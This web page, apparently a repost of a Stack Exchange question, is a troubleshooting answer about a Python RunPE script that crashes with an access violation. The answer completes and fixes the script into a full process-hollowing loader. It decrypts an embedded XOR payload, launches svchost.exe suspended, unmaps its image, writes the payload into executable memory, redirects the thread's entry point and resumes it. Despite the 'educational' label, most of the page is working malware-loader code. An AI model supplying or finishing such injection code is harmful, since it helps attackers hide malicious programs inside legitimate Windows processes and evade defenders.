You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python实现RunPE时触发0xC0000005错误技术求助

Troubleshooting 0xC0000005 Access Violation in Python RunPE Implementation

Hey there, let's break down the 0xC0000005 access violation error you're facing with your educational Python RunPE project. Looking at your code snippet, there are several incomplete or incorrect parts that are likely causing this issue. Let's go through each problem step by step and fix them.

Key Issues in Your Current Code

1. Truncated Code (Critical Missing Steps)

Your code cuts off at if ctypes.windll.ke — you're missing core RunPE steps like allocating memory in the target process, writing the decrypted PE to that memory, updating the thread context, and resuming the process. Without these, the suspended process can't execute the injected payload, leading to an access violation.

2. Incorrect Path Escaping

Your filepath uses 'C:\Windows\System32\svchost.exe' — in Python, backslashes are escape characters, so \s will be interpreted incorrectly. Use a raw string instead:

filepath = r'C:\Windows\System32\svchost.exe'

3. Wrong Parameter Type for NtUnmapViewOfSection

The second parameter of NtUnmapViewOfSection should be a LPVOID (not LPSTR) representing the image base address. Using the wrong type can cause invalid memory access.

4. Unvalidated Decrypted PE

You assume the decrypted decryptedbuff is a valid PE, but if the XOR decryption fails (e.g., wrong key, corrupted payload), this will break all subsequent PE parsing steps. Always add a validation check.

5. Missing Context Manipulation

To redirect the suspended process to run your payload, you need to fetch the thread context, update the Eax register to point to the payload's entry point, then set the context back. This code is entirely missing from your snippet.


Fixed & Completed Code Snippet

Here's the corrected and extended version of your code with all missing steps and fixes:

#!/usr/bin/env python
# This script uses the runpe technique for educational purposes only
# INSTALL pefile and ctypes packages
from itertools import cycle, izip
import sys, pefile
import ctypes

BYTE = ctypes.c_ubyte
WORD = ctypes.c_ushort
DWORD = ctypes.c_ulong
LPSTR = ctypes.c_char_p
HANDLE = ctypes.c_void_p
LPVOID = ctypes.c_void_p

CREATE_SUSPENDED = 0x0004
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
CONTEXT_FULL = 0x10007

class PROCESS_INFORMATION(ctypes.Structure):
    _fields_ = [
        ('hProcess', HANDLE),
        ('hThread', HANDLE),
        ('dwProcessId', DWORD),
        ('dwThreadId', DWORD),
    ]

class STARTUPINFO(ctypes.Structure):
    _fields_ = [
        ('cb', DWORD),
        ('lpReserved', LPSTR),
        ('lpDesktop', LPSTR),
        ('lpTitle', LPSTR),
        ('dwX', DWORD),
        ('dwY', DWORD),
        ('dwXSize', DWORD),
        ('dwYSize', DWORD),
        ('dwXCountChars', DWORD),
        ('dwYCountChars', DWORD),
        ('dwFillAttribute', DWORD),
        ('dwFlags', DWORD),
        ('wShowWindow', WORD),
        ('cbReserved2', WORD),
        ('lpReserved2', LPVOID),  # Fixed type from DWORD to LPVOID
        ('hStdInput', HANDLE),
        ('hStdOutput', HANDLE),
        ('hStdError', HANDLE),
    ]

class FLOATING_SAVE_AREA(ctypes.Structure):
    _fields_ = [
        ("ControlWord", DWORD),
        ("StatusWord", DWORD),
        ("TagWord", DWORD),
        ("ErrorOffset", DWORD),
        ("ErrorSelector", DWORD),
        ("DataOffset", DWORD),
        ("DataSelector", DWORD),
        ("RegisterArea", BYTE * 80),
        ("Cr0NpxState", DWORD),
    ]

class CONTEXT(ctypes.Structure):
    _fields_ = [
        ("ContextFlags", DWORD),
        ("Dr0", DWORD),
        ("Dr1", DWORD),
        ("Dr2", DWORD),
        ("Dr3", DWORD),
        ("Dr6", DWORD),
        ("Dr7", DWORD),
        ("FloatSave", FLOATING_SAVE_AREA),
        ("SegGs", DWORD),
        ("SegFs", DWORD),
        ("SegEs", DWORD),
        ("SegDs", DWORD),
        ("Edi", DWORD),
        ("Esi", DWORD),
        ("Ebx", DWORD),
        ("Edx", DWORD),
        ("Ecx", DWORD),
        ("Eax", DWORD),
        ("Ebp", DWORD),
        ("Eip", DWORD),
        ("SegCs", DWORD),
        ("EFlags", DWORD),
        ("Esp", DWORD),
        ("SegSs", DWORD),
        ("ExtendedRegisters", BYTE * 80),
    ]

# Replace with your actual encrypted payload and key
encryptedbuff = ("\x75\x6c\xa6\x63\x3a\x37\x36\x63\x35\x62\x38\x36\xc9\x9c\x39\x37"
 "\x58\x23\x5b\x55\x53\x10\x4a\x0a\x14\x05\x50\x0e\x4b\x53\x14\x4c")
randomkey = '866c976c1b'
filepath = r'C:\Windows\System32\svchost.exe'

si = STARTUPINFO()
si.cb = ctypes.sizeof(STARTUPINFO)
pi = PROCESS_INFORMATION()
cx = CONTEXT()
cx.ContextFlags = CONTEXT_FULL

# Decrypt payload
key = cycle(randomkey)
decryptedbuff = ''.join(chr(ord(x) ^ ord(y)) for (x,y) in izip(encryptedbuff, key))

# Validate decrypted PE
try:
    pe = pefile.PE(data=decryptedbuff)
except pefile.PEFormatError:
    print "[!] Decrypted payload is not a valid PE file"
    sys.exit(1)

fd_size = len(decryptedbuff)
print "\n[+] Payload size : "+str(fd_size)

# Parse legitimate PE
try:
    pefilepath = pefile.PE(filepath)
except pefile.PEFormatError:
    print "[!] Legitimate executable is not a valid PE file"
    sys.exit(1)

# Create suspended process
if ctypes.windll.kernel32.CreateProcessA(None, filepath, None, None, False, CREATE_SUSPENDED, None, None, ctypes.byref(si), ctypes.byref(pi)):
    print "[+] Process successfully launched"
    print "[+] PID : %d\n" % pi.dwProcessId
else:
    print "Failed to create new process"
    print "Error Code: ", ctypes.windll.kernel32.GetLastError()
    sys.exit(1)

# Unmap original image
if ctypes.windll.ntdll.NtUnmapViewOfSection(pi.hProcess, ctypes.c_void_p(pefilepath.OPTIONAL_HEADER.ImageBase)) == 0:
    print "[+] Unmap View Of Section Succeed"
else:
    print "Failed to unmap the original exe"
    print "Error Code: ", ctypes.windll.kernel32.GetLastError()
    sys.exit(1)

# Allocate memory in target process for payload
remote_memory = ctypes.windll.kernel32.VirtualAllocEx(
    pi.hProcess,
    ctypes.c_void_p(pe.OPTIONAL_HEADER.ImageBase),  # Allocate at payload's preferred base
    pe.OPTIONAL_HEADER.SizeOfImage,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
)

if not remote_memory:
    print "[!] Failed to allocate remote memory"
    print "Error Code: ", ctypes.windll.kernel32.GetLastError()
    sys.exit(1)
print "[+] Allocated remote memory at: ", hex(remote_memory)

# Write payload headers to remote memory
written = DWORD(0)
if not ctypes.windll.kernel32.WriteProcessMemory(
    pi.hProcess,
    remote_memory,
    decryptedbuff,
    pe.OPTIONAL_HEADER.SizeOfHeaders,
    ctypes.byref(written)
):
    print "[!] Failed to write headers to remote memory"
    print "Error Code: ", ctypes.windll.kernel32.GetLastError()
    sys.exit(1)

# Write each payload section to remote memory
for section in pe.sections:
    if section.SizeOfRawData > 0:
        if not ctypes.windll.kernel32.WriteProcessMemory(
            pi.hProcess,
            ctypes.c_void_p(remote_memory + section.VirtualAddress),
            decryptedbuff[section.PointerToRawData:section.PointerToRawData + section.SizeOfRawData],
            section.SizeOfRawData,
            ctypes.byref(written)
        ):
            print "[!] Failed to write section: ", section.Name.strip('\x00')
            print "Error Code: ", ctypes.windll.kernel32.GetLastError()
            sys.exit(1)

# Get thread context of suspended process
if not ctypes.windll.kernel32.GetThreadContext(pi.hThread, ctypes.byref(cx)):
    print "[!] Failed to get thread context"
    print "Error Code: ", ctypes.windll.kernel32.GetLastError()
    sys.exit(1)

# Update EAX to point to payload's entry point
cx.Eax = remote_memory + pe.OPTIONAL_HEADER.AddressOfEntryPoint

# Set updated thread context
if not ctypes.windll.kernel32.SetThreadContext(pi.hThread, ctypes.byref(cx)):
    print "[!] Failed to set thread context"
    print "Error Code: ", ctypes.windll.kernel32.GetLastError()
    sys.exit(1)

# Resume suspended thread to execute payload
if not ctypes.windll.kernel32.ResumeThread(pi.hThread):
    print "[!] Failed to resume thread"
    print "Error Code: ", ctypes.windll.kernel32.GetLastError()
    sys.exit(1)

print "[+] Payload executed successfully!"

Additional Notes for Educational Use

  • Ethics & Legality: RunPE is a technique commonly used in malware, so ensure you only use this code in controlled, authorized environments for educational purposes.
  • 32-bit vs 64-bit: This code is written for 32-bit Windows. If targeting 64-bit systems, you'll need to adjust structures (e.g., use DWORD64 for registers) and API calls.
  • Error Handling: Basic error handling is added here, but you can expand it to cover edge cases like when the payload's preferred image base is already occupied.

内容的提问来源于stack exchange,提问作者Marshall Cocop

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.27 10:08:05